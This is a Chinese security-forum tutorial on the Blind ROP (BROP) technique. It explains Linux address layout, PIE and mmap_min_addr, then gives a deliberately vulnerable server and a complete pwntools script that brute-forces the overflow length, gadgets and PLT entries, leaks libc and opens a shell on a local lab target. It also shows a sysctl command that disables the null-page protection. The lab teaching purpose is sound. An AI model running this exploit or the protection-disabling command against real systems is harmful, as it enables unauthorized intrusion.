BROP介绍
BROP的全称是Bind ROP
,之在不知道程序内存布局的情况下完成ROP攻击,在这里BROP有两个基础的要求,一是程序在崩溃后自带重新启动,二是重新启动后内存布局不会发生变化。
有了这两个基础条件的加持,我们就可以保证找到的地址是可以一直使用的,不至于产生“过期”的问题。
当正确的地址应该怎么样确定呢?既然地址不会“过期”,那遍历当然是一个非常有效的手段。
对于一个64位系统而言,尽管寻址时它只是使用48位(即
想要遍历地址也要有个范围吧!
用户态空间:0x0000000000000000 - 0x00007FFFFFFFFFFF
内核态空间:0xFFFF800000000000 - 0xFFFFFFFFFFFFFFFF
不错,Linux系统是的确给了个范围,在Linux系统当中将用户态空间和内核态空间做了隔离,内核通过TASK_SIZE_MAX
宏分为“楚河汉届”,该宏标明了用户态空间的最大地址。
用户态程序地址的规律
当你熟悉Linux系统之后就会知道,用户态的地址是由规律可言的,下面会介绍这些规律。
在了解这些规律之前,我们首先需要知道什么是PIE。
PIE为什么存在?
在现代计算机系统当中,虽然内存资源是有限的,但是进程间的地址空间都是独立的,即在进程眼中自己都是占用着完整的内存空间,无需操心内存情况,至于物理内存资源是否真的可用,就要看操作系统如何进行调度了。
在独立的进程空间中,进程拥有了自由度,因此给不同的进程分配同样的内存布局也不会出现问题,直接在编译期分配固定的内存地址也不会带来问题。
尽管进程直接使用固定的内存地址不会带来内存使用方面的问题,但是固定的内存地址却会给黑客带来极大方便,为了缓解这一安全问题,Linux和GCC引入了PIE机制。
PIE的全称是Position-independent Executable
,其含义是与位置无关的可执行文件,当然也可也将它称作是PIC(Position-independent Code
与位置无关的代码)。
PIE机制允许程序不使用固定的内存地址,使得程序可以被加载到任意的内存地址上,进而使得黑客无法方便的得知程序的内存布局情况。
开启PIE机制后会导致性能受到影响,LD程序允许通过LD_DEBUG=statistics
查看程序加载过程中的性能统计信息。
LD_DEBUG=statistics
6544:
6544: runtime linker statistics:
6544: total startup time in dynamic loader: 4001326 cycles
6544: time needed for relocation: 24288 cycles (.6%)
6544: number of relocations: 83
6544: number of relocations from cache: 7
6544: number of relative relocations: 0
6544: time needed to load objects: 41238 cycles (1.0%)
下面列出如何控制LD链接器开关PIE功能。
开启PIE:ld -fPIE -pie -fPIC
关闭PIE:ld -fno-PIE -no-pie -fno-PIC
无PIE时的内存地址规律
当PIE功能关闭时,程序的固定地址是由LD动态链接器进行设置的,可以通过-verbose
查看指定的text-segment
代表的起始地址,如果想要查看其他的架构情况。
amd64:
ld -verbose | grep -i text-segment
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
i386:
ld -melf_i386 -verbose | grep -i text-segment
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x08048000)); . = SEGMENT_START("text-segment", 0x08048000) + SIZEOF_HEADERS;
当然上面的地址并不是一定的,LD链接器支持添加链接选项在链接期动态的选择内存地址。
-Wl,-Ttext-segment=xxxx
-Wl,-Ttext-segment=0x10000
(gdb) disassemble
Dump of assembler code for function main:
0x000000000001116d <+0>: push %rbp
0x000000000001116e <+1>: mov %rsp,%rbp
......
但是这个设置的地址是不可以小于0x10000(64kb)的,在计算机中存在着空指针错误,但这个空指针并不一定要是0x0,低于内核设置的mmap_min_addr
都算作是空指针。
sudo sysctl -a | grep mmap
vm.hugetlb_optimize_vmemmap = 0
vm.mmap_min_addr = 65536
vm.mmap_rnd_bits = 28
vm.mmap_rnd_compat_bits = 8
ls /proc/sys/vm
admin_reserve_kbytes dirtytime_expire_seconds max_map_count nr_hugepages overcommit_ratio user_reserve_kbytes
compaction_proactiveness dirty_writeback_centisecs memory_failure_early_kill nr_hugepages_mempolicy page-cluster vfs_cache_pressure
compact_memory drop_caches memory_failure_recovery nr_overcommit_hugepages page_lock_unfairness watermark_boost_factor
compact_unevictable_allowed extfrag_threshold min_free_kbytes numa_stat panic_on_oom watermark_scale_factor
dirty_background_bytes hugetlb_optimize_vmemmap min_slab_ratio numa_zonelist_order percpu_pagelist_high_fraction zone_reclaim_mode
dirty_background_ratio hugetlb_shm_group min_unmapped_ratio oom_dump_tasks stat_interval
dirty_bytes laptop_mode mmap_min_addr oom_kill_allocating_task stat_refresh
dirty_expire_centisecs legacy_va_layout mmap_rnd_bits overcommit_kbytes swappiness
dirty_ratio lowmem_reserve_ratio mmap_rnd_compat_bits overcommit_memory unprivileged_userfaultfd
mmap_min_addr
用于现在用户态程序可以申请到的最小内存地址,代表着虚拟地址空间的下界。对于C语言来讲,一个指针类型的变量在未初始化时默认就是NULL
零值,且期望程序访问空指针时出现崩溃,当没有mmap_min_addr
的限制时,零地址也是可以被使用的(与预期不符),假如零地址上存在被写入的内容,那么攻击者既可以借助任意的未初始化指针对零地址上的资源进行滥用,导致安全问题出现。
sudo sysctl -w vm.mmap_min_addr="0"
被映射的空间:
00000000-00001000 rwxp 00000000 00:00 0
源代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <bits/mman-linux.h>
static int vuln(char* data)
{
char cmd[0x100];
strncpy(cmd, data, 0x100);
system(cmd);
}
int main(void)
{
char* msg = "/bin/sh\0";
mmap(0, 0x1000, PROT_READ |PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
perror("mmap");
memcpy(0, msg, sizeof(msg));
msg = NULL;
vuln(msg);
}
程序运行结果:
./null_ptr s
mmap: Success
$ ls
main.c Makefile null_ptr obj
$ exit
不管是AMD64架构还是i386架构图,它们都选择向更远离mmap_min_addr
记录的地址处映射程序。
有PIE时的内存地址规律
在PIE机制开启时,ELF文件内部就不会在直接分配内存地址,转为只分配偏移值,程序被加载进入内核后,会被分配一个基地址,基地址+偏移值组成了一个可用的内存地址。
内核如何区分程序是否启用PIE
不同程序间的虚拟地址空间都是独立的,程序A开启了PIE,程序B关闭了PIE,它们都应该是可用运行的,内核不可能支持一种,但是考虑到内核需要根据PIE决定给不给程序分配基地址,所以内核需要找到一种方法分辨PIE是否开启。
通过file工具观察ELF文件,可以发现该工具可以直接根据ELF文件识别出PIE是否启用,那么它是如何识别的呢?
file观察结果:
关闭PIE:ELF 64-bit LSB executable
开启PIE:ELF 64-bit LSB pie executable
这个问题答案并不复杂,ELF文件会向.dynamic
动态链接节中的FLAGS_1
元素添加PIE标志位,内核会根据该标志位是否存在决定分不分配基地址。
#define DF_1_PIE 0x08000000
0x000000006ffffffb (FLAGS_1) Flags: PIE
在Linux内核中,它给程序分配的基地址是根据TASK_SIZE
(用户态程序的虚拟地址空间最大地址)进行计算的,对于使用48位地址空间的64位内核而言,TASK_SIZE
的大小一般是0x7ffffffff000,ELF_ET_DYN_BASE
一般是0x555555554aaa,load_bias
会根据程序的地址对齐情况,以及ASLR是否开启等情况,进行进一步的变化。
TASK_SIZE = 0x7ffffffff000
#define ELF_ET_DYN_BASE ((TASK_SIZE / 3) * 2)
load_bias = ELF_ET_DYN_BASE -> 0x555555554aaa
地址规律的总结
在Linux系统当中,用户态程序的地址问题首先会根据PIE机制的启用情况决定,未启动PIE程序为了让零地址是有问题的,所以通过mmap_min_addr
设置虚拟地址空间的下界,保证低地址不会被使用,这个限制可以通过sysctl
和虚文件取消。
在AMD64架构和i386架构中,LD一般使用0x400000和0x08048000作为最低地址。
对于开启PIE的程序来讲,它会根据ELF_ET_DYN_BASE
的地址映射到虚拟地址空间中,使用48位地址空间的Linux内核中ELF_ET_DYN_BASE
的数值一般是0x555555554aaa。
难以擦测的地址
在上面的分析中,我们知道了用户态程序被映射到虚拟地址空间的起始地址是有迹可循的,但在PIE关闭时也可以通过链接选项进行自定义设置,而且程序的位数和架构也会对地址产生影响。
因此在不知道足够信息的情况下,我们仍然很难知道大致的地址范围。
猜测思路
猜测缓冲区长度
此时我们利用的是缓冲区漏洞,但由于程序的二进制和源代码都是未知的,因此我们不能知道缓冲区的大小是多少,为了触发缓冲区漏洞,我们首先需要将缓冲区的长度猜测出来。
猜测缓存区的长度并不复杂,比较暴力的从1开始逐渐累加就是一种比较可靠的方式。
程序状态的控制
程序接收到paylaod后的状态可以分成三类,一是直接崩溃,二是运行一段时间后崩溃,三是不崩溃。
在得到缓冲区的长度之后,考虑到程序需要猜测不同的地址以及不断的接收payload,所以我们首先需要让程序重复的进入读取状态,即找到一个让程序不会崩溃的返回地址,且在该返回地址之后还会调用read
函数。
除了进入读取状态的地址外,考虑到需要判断不同地址的类型,因此这里我们需要用到一个可以直接导致崩溃的地址。
示例讲解
下方给出了程序的源代码。
#include <stdio.h>
#include <unistd.h>
#include <string.h>
static void vuln(void)
{
char buf[0x100];
read(STDIN_FILENO, buf, 0x1000);
}
int main(void)
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
puts("hello brop!");
vuln();
puts("bye, brop");
}
下面给出了ELF文件中关键的反汇编信息。
......
0000000000401020 <puts@plt-0x10>:
401020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
401026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
40102c: 0f 1f 40 00 nopl 0x0(%rax)
0000000000401030 <puts@plt>:
401030: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 404000 <puts@GLIBC_2.2.5>
401036: 68 00 00 00 00 push $0x0
40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>
......
0000000000401060 <_start>:
401060: 31 ed xor %ebp,%ebp
401062: 49 89 d1 mov %rdx,%r9
401065: 5e pop %rsi
401066: 48 89 e2 mov %rsp,%rdx
......
00000000004011d0 <__libc_csu_init>:
......
401222: 5b pop %rbx
401223: 5d pop %rbp
401224: 41 5c pop %r12
401226: 41 5d pop %r13
401228: 41 5e pop %r14
40122a: 41 5f pop %r15
40122c: c3 ret
40122d: 0f 1f 00 nopl (%rax)
......
exploit构造
根据上面的分析,接下来开始构造exploit,目前已知程序是64位且关闭PIE的,地址也没有经过额外的设置,因此这里使用0x400000作为基地址。
获取完基地址后,要做的就是获取一个可以进入read
函数的地址,保证payload被持续接收,再就是获取一个可以直接导致程序崩溃的返回地址。
为了构造完整的exploit,我们需要找到一个可以从栈上弹出各种寄存器的地方,csu
是一个很好的目标。
csu
会pop
六次,这样大量的pop
在ret
是少见的,因此我们在猜测的csu gadget
地址后添加六个数值,再在最后添加进入read
函数的地址,只要它可以顺利进入read
函数,我们就可以得到csu gadget
。
接下来,需要泄露程序内部的信息,所以需要先找到puts
函数的位置。这一步并不难,我们设置rdi
到指定的地址,如果猜测的地址会调用puts
,那么我们就可以根据泄露的信息进行判断(目标地址可以设置为0x400000,因为ELF文件的开头是固定的文本信息,可以根据它进行判断)。
除了程序内部的信息之外,我们还需泄露LibC中的信息用于构造payload,在程序中.got.plt
中记录的就是LibC内部的地址,那么应该如何找到.got.plt
的地址呢?
我们知道plt
表是有规律可循的,可以泄露地址上的指令数据进行判断,如果表项中的三条指令都匹配那就是找到.got.plt
了。
ff 25 xx xx xx xx # jmp got.plt
68 xx # push relocation index
e9 xx xx xx xx xx # jmp .plt
import pwn
import sys
import configparser
sys.path.append('../../MyTools')
import gadgets_info
import conversion
pwn.context.clear()
pwn.context.update(
arch = 'amd64', os = 'linux',
)
target_info = {
'exec_path': './brop_example',
'libc_info': None,
'conn': None,
'config_info': None,
'config_path': 'config.ini',
'addr_len': 0x8,
'crash_addr': 0x0,
'stack_overflow_len': 0x0,
'read_mode_enter_addr': 0x0,
'csu_gadget_addr': 0x0,
'csu_pop_rdi_offset': 0x9,
'csu_pop_regs_count': 0x6,
'plt4puts_addr': 0x0,
'puts_target_addr': 0x400000,
'puts_tagert_signature_code': b'\x7fELF',
'gotplt4puts_addr_leak': 0x0,
'plt_instructions_code_index': 0x0,
'push_rela_index2jmp_gotplt_offset': 0x6,
'jmp_plt2jmp_gotplt_offset': 0xb,
'plt_instructions_code_info': [
b'\xff\x25', # jmp got.plt
b'\x68', # push relocation index
b'\xe9', # jmp .plt
],
}
def config_parse_failed_handle(msg):
print('[--] parse config [{0}] failed'.format(target_info['config_path']))
if msg != None:
print('[--] {0}'.format(msg))
exit(-1)
def config_info_init():
try:
target_info['config_info'] = configparser.ConfigParser()
target_info['config_info'].read(target_info['config_path'])
except Exception:
config_parse_failed_handle(None)
def config_field_get(tag_name, field_name):
try:
val = target_info['config_info'][tag_name][field_name]
return val
except Exception:
config_parse_failed_handle('get [{0}] - [{1}]'.format(tag_name, field_name))
return -1
def config_field_set(tag_name, field_name, value):
try:
target_info['config_info'][tag_name][field_name] = str(value)
with open(target_info['config_path'], 'w') as cfg_file:
target_info['config_info'].write(cfg_file)
except Exception:
config_parse_failed_handle('set [{0}] - [{1}]'.format(tag_name, field_name))
def connect_start():
try:
target_info['conn'] = pwn.remote('127.0.0.1', 9527)
data = target_info['conn'].recvuntil(b'hello brop!\n')
except Exception:
print('[--] cannot start connect')
exit(-1)
def connect_stop():
try:
target_info['conn'].close()
target_info['conn'] = None
except Exception:
print('[--] cannot close connect')
exit(-1)
def stack_overflow_len_get():
_len = int(config_field_get('stack_info', 'stack_overflow_length'))
print('[--] current stack overflow length = {0}'.format(_len))
if _len <= 0:
_len = 1
while True:
try:
connect_start()
print(_len)
payload = b'A' * _len
target_info['conn'].send(payload)
target_info['conn'].recv()
connect_stop()
_len += 1
except Exception:
connect_stop()
_len -= 1
config_field_set('stack_info', 'stack_overflow_length', _len)
print('[++] available stack overflow length = {0}'.format(_len))
return _len
def crash_addr_check(addr, is_crash, payload, leak_data):
if is_crash == True:
config_field_set('bind_rop_info', 'crash_addr', hex(addr))
return addr
return None
def read_mode_addr_check(addr, is_crash, payload, leak_data):
try:
ret = None
has_crash = False
if is_crash == True:
return ret
test_payload = b'B' * target_info['stack_overflow_len']
if target_info['read_mode_enter_addr'] != 0x0:
test_payload += pwn.p64(target_info['read_mode_enter_addr'])
else:
test_payload += pwn.p64(addr)
target_info['conn'].send(test_payload)
target_info['conn'].recv(timeout = 5)
target_info['conn'].send(test_payload)
target_info['conn'].recv(timeout = 5)
except Exception:
print('[--] receive Exception')
has_crash = True
if has_crash == False:
ret = addr
return ret
def csu_gadget_addr_check(addr, is_crash, payload, leak_data):
ret = read_mode_addr_check(addr, is_crash, payload, leak_data)
if ret != None:
try:
ret = None
test_payload = payload
test_payload += pwn.p64(0x0) * target_info['csu_pop_regs_count']
test_payload += pwn.p64(target_info['crash_addr'])
target_info['conn'].send(test_payload)
target_info['conn'].recv(timeout = 5)
except Exception:
ret = addr
return ret
def plt4puts_addr_check(addr, is_crash, payload, leak_data):
if is_crash == False:
print(leak_data)
if leak_data.startswith(target_info['puts_tagert_signature_code']):
return addr
return None
def leak_libc_by_gotplt_store_addr_check(addr, is_crash, payload, leak_data):
global pre_addr
global leak_info
if pre_addr != 0x0:
if (addr - pre_addr) > 0x8:
target_info['plt_instructions_code_index'] = 0x0
if leak_data.startswith(target_info['plt_instructions_code_info'][target_info['plt_instructions_code_index']]):
if target_info['plt_instructions_code_index'] == 0x0:
leak_info = leak_data
if target_info['plt_instructions_code_index'] == 0x2:
plt_starting_addr = addr - target_info['jmp_plt2jmp_gotplt_offset']
print('[--] [{0}] was plt starting address'.format(hex(plt_starting_addr)))
return plt_starting_addr
target_info['plt_instructions_code_index'] += 1
pre_addr = addr
return None
def addr_traversal(cfg_tag_name, cfg_field_name, check_rule, rop_fix, payload_fix):
addr = int(config_field_get(cfg_tag_name, cfg_field_name), 16)
if addr <= 0:
addr = int(config_field_get('bind_rop_info', 'base_addr'), 16)
print('[--] current address = {0}'.format(hex(addr)))
leak_data = b''
while True:
try:
has_crash = False
connect_start()
print('[--] try address = {0}'.format(hex(addr)))
pre_payload = b'A' * target_info['stack_overflow_len']
if rop_fix != None:
pre_payload += rop_fix
pre_payload += pwn.p64(addr)
payload = pre_payload
if payload_fix != None:
payload = pre_payload + payload_fix
target_info['conn'].send(payload)
leak_data = target_info['conn'].recv(timeout = 5)
except Exception:
print('[--] receive exception')
has_crash = True
ret = check_rule(addr, has_crash, pre_payload, leak_data)
connect_stop()
if ret != None:
print('[--] available {0} address = {1}'.format(cfg_field_name, hex(ret)))
config_field_set(cfg_tag_name, cfg_field_name, hex(ret))
return ret
addr += 1
pwn.context.binary = pwn.ELF(target_info['exec_path'])
target_info['libc_info'] = pwn.ELF(target_info['exec_path']).libc
config_info_init()
target_info['stack_overflow_len'] = stack_overflow_len_get()
target_info['crash_addr'] = addr_traversal(
'bind_rop_info', 'crash_addr',
crash_addr_check, None, None
)
target_info['read_mode_enter_addr'] = addr_traversal(
'bind_rop_info', 'read_mode_addr',
read_mode_addr_check, None, None
)
brop_csu_find_payload_fix = pwn.p64(0x0) * target_info['csu_pop_regs_count']
brop_csu_find_payload_fix += pwn.p64(target_info['read_mode_enter_addr'])
target_info['csu_gadget_addr'] = addr_traversal(
'bind_rop_info', 'csu_gadget_addr',
csu_gadget_addr_check, None,
brop_csu_find_payload_fix
)
pop_rdi_offset = target_info['csu_gadget_addr'] + target_info['csu_pop_rdi_offset']
plt4puts_find_rop_fix = pwn.p64(pop_rdi_offset)
plt4puts_find_rop_fix += pwn.p64(target_info['puts_target_addr'])
plt4puts_find_payload_fix = pwn.p64(target_info['read_mode_enter_addr'])
target_info['plt4puts_addr'] = addr_traversal(
'bind_rop_info', 'plt4puts_addr',
plt4puts_addr_check, plt4puts_find_rop_fix,
plt4puts_find_payload_fix
)
gotplt4puts_find_rop_fix = pwn.p64(pop_rdi_offset)
gotplt4puts_find_payload_fix = pwn.p64(target_info['plt4puts_addr'])
gotplt4puts_find_payload_fix += pwn.p64(target_info['read_mode_enter_addr'])
target_info['plt_instructions_code_index'] = 0x0
pre_addr = 0x0
leak_info = None
target_info['gotplt4puts_addr_leak'] = addr_traversal(
'bind_rop_info', 'gotplt4puts_addr',
leak_libc_by_gotplt_store_addr_check, gotplt4puts_find_rop_fix,
gotplt4puts_find_payload_fix
)
offset = conversion.bytes2int(leak_info[2:4])
target_info['gotplt4puts_addr_leak'] += target_info['push_rela_index2jmp_gotplt_offset'] + offset
connect_start()
payload = b'C' * target_info['stack_overflow_len']
payload += pwn.p64(pop_rdi_offset)
payload += pwn.p64(target_info['gotplt4puts_addr_leak'])
payload += pwn.p64(target_info['plt4puts_addr'])
payload += pwn.p64(target_info['read_mode_enter_addr'])
target_info['conn'].send(payload)
data = target_info['conn'].recv(timeout = 5)
libc_puts_addr = conversion.bytes2int(data[:6])
libc_base = libc_puts_addr - 0x77980
print('[**] libc base address = {0}'.format(hex(libc_base)))
libc_system_addr = libc_base + target_info['libc_info'].symbols['system']
libc_binsh_addr = libc_base + target_info['libc_info'].search(b'/bin/sh').__next__()
payload = b'A' * target_info['stack_overflow_len']
payload += pwn.p64(pop_rdi_offset)
payload += pwn.p64(libc_binsh_addr)
payload += pwn.p64(pop_rdi_offset + 1)
payload += pwn.p64(libc_system_addr)
payload += pwn.p64(target_info['read_mode_enter_addr'])
target_info['conn'].sendline(payload)
target_info['conn'].interactive()
成功PWN
运行exploit后就可以直接获取Shell。
[*] '/home/astaroth/Labs/PWN/UserMode/Stack/0x000D_BROP/brop_example'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[--] current stack overflow length = 264
[+] Opening connection to 127.0.0.1 on port 9527: Done
264
[*] Closed connection to 127.0.0.1 port 9527
[+] Opening connection to 127.0.0.1 on port 9527: Done
265
[*] Closed connection to 127.0.0.1 port 9527
[++] available stack overflow length = 264
[--] current address = 0x401000
[+] Opening connection to 127.0.0.1 on port 9527: Done
[--] try address = 0x401000
[--] receive exception
[*] Closed connection to 127.0.0.1 port 9527
[--] available crash_addr address = 0x401000
[--] current address = 0x401060
[+] Opening connection to 127.0.0.1 on port 9527: Done
[--] try address = 0x401060
[*] Closed connection to 127.0.0.1 port 9527
[--] available read_mode_addr address = 0x401060
[--] current address = 0x401222
[+] Opening connection to 127.0.0.1 on port 9527: Done
[--] try address = 0x401222
[*] Closed connection to 127.0.0.1 port 9527
[--] available csu_gadget_addr address = 0x401222
[--] current address = 0x401025
[+] Opening connection to 127.0.0.1 on port 9527: Done
[--] try address = 0x401025
b'\x7fELF\x02\x01\x01\nhello brop!\n'
[*] Closed connection to 127.0.0.1 port 9527
[--] available plt4puts_addr address = 0x401025
......
[--] available gotplt4puts_addr address = 0x401030
[**] bytes: b'\xca/'
[**] hex: 0x2fca
[+] Opening connection to 127.0.0.1 on port 9527: Done
[**] bytes: b'\x80\xc9\xec0\x1b\x7f'
[**] hex: 0x7f1b30ecc980
[**] libc base address = 0x7f1b30e55000
[*] Switching to interactive mode
$ id
uid=1000(astaroth) gid=1000(astaroth) groups=1000(astaroth),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),114(bluetooth),117(lpadmin),121(scanner)
$
看雪ID:福建炒饭乡会
https://bbs.kanxue.com/user-home-1000123.htm
# 往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多